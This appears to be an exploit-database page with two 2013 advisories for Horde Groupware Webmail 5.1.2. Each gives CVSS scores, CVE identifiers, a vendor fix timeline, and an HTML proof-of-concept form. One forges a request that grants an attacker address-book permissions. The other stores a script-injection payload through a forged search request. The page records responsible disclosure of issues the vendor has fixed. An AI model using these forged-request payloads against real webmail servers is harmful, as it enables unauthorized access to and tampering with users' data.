Horde Groupware Web Mail Edition 5.1.2 - Cross-Site Request Forgery (2)

2013-11-0800:00:00

Marcela Benetrix

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

JSON

Horde Groupware Web Mail Edition 5.1.2 - Cross-Site Request Forgery (2)

#############################
Exploit Title : CSRF Horde Groupware Web mail Edition
Author:Marcela Benetrix
Date: 10/28/13
version: 5.1.2
software link:http://www.horde.org/apps/webmail

#############################
GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project

##########################
CSRF Location

Change of permissions functionality was found to miss unique token in the form.


##########################
PoC
<html>

   <body>
     <form action="www.victim.com/horde/services/shares/edit.php"
method="POST">
       <input type="hidden" name="actionID" value="editform" />
       <input type="hidden" name="cid" value="37" />
       <input type="hidden" name="app" value="turba" />
       <input type="hidden" name="owner_input" value="kenedyK" />
       <input type="hidden"
name="u_names[||new_input]"
value="AttackerUserName" />
       <input type="hidden"
name="u_read[||new_input]" value="on" />
       <input type="hidden"
name="u_edit[||new_input]" value="on" />
       <input type="hidden"
name="u_delete[||new_input]" value="on" />
       <input type="hidden" name="g_names[||new]"
value="" />
       <input type="hidden" name="save_and_finish"
value="Save and Finish" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
</html>

Preconditions: The attacker must know the owner value which is the victim's username, and the ID of the address book. Once he gets them,  he can launch the attack.

###########################
CVE identifier

CVE-2013-6365.
##########################
Vendor Notification
10/28/2013 to: the developers. They replied immediately and fixed the problem http://bugs.horde.org/ticket/12804
11/04/2013: Disclosure
#############################




Exploit Title : XSS and CSRF Horde Groupware Web mail Edition
Author:Marcela Benetrix
Date: 10/28/13
version: 5.1.2
software link:http://www.horde.org/apps/webmail

#############################
GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project

##########################
CSRF/XSS Location

Save search as a virtual Address book was found to be vulnerable to XSS and CSRF attacks. 

##########################
POC

<html>
  <body>
    <form action="http://www.victim.com/horde/turba/search.php"
method="POST">
      <input type="hidden" name="source" value="" />
      <input type="hidden" name="criteria" value="" />
      <input type="hidden" name="val" value="" />
      <input type="hidden" name="search" value="Search" />
      <input type="hidden" name="save_vbook" value="on" />
      <input type="hidden" name="vbook_name"
value="<script>alert(1)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


###########################
CVE identifier

CVE-2013-6364 for the combination of problems that is exploited through the CSRF attack.
##########################
Vendor Notification
10/28/2013 to: the developers. They replied immediately and fixed the problem http://bugs.horde.org/ticket/12803
11/04/2013: Disclosure